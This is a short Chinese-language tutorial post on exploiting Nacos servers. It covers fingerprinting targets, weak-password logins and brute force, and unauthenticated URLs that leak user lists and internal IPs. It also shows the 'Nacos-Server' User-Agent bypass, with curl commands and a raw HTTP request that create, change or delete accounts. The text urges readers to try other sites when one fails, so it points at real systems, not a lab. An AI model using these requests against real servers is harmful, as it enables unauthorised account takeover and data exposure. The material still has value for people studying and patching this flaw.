Cyber Security-Day25(实战之NACOS漏洞原理及方法)
1.首先我们通过指纹获取到可能存在nacos漏洞的服务器或者网站:
通过弱密码登录后台,如果登录不进去我们可以多尝试几个站,或者使用bp top10对密码进行爆破,因为是没有加验证码或者token认证的登录。
2.http://your-ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
这里我们可以直接看到用户的账户和密码
3.漏洞复现 信息泄露 在未登录的情况下访问url,查看nacos默认安装后泄露的内网ip地址,poc:
http://ip:8848/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword
在未登录的情况下访问url,查看nacos默认安装后泄露的用户列表,poc:
http://ip:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9
4.从上图可以发现,目前有一个用户nacos
漏洞利用,访问
http://your-ip:8848/nacos/v1/auth/users
复制
POST传参:
usename=test1&password=test1
复制
修改UA头为Nacos-Server
发送POST请求,返回码200,创建用户成功~!
其他方式:
curl -XPOST -d 'username=test&password=test' 'http://127.0.0.1:8848/nacos/v1/auth/users' 可以新增用户
curl -XPUT -d 'username=test&newPassword=test' 'http://127.0.0.1:8848/nacos/v1/auth/users' 可以修改用户密码
curl -XDELETE -d 'username=test' 'http://127.0.0.1:8848/nacos/v1/auth/users' 可以删除用户
使用bp也可以:
poc:
POST /nacos/v1/auth/users HTTP/1.1
Host: ip:8088
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=test&password=test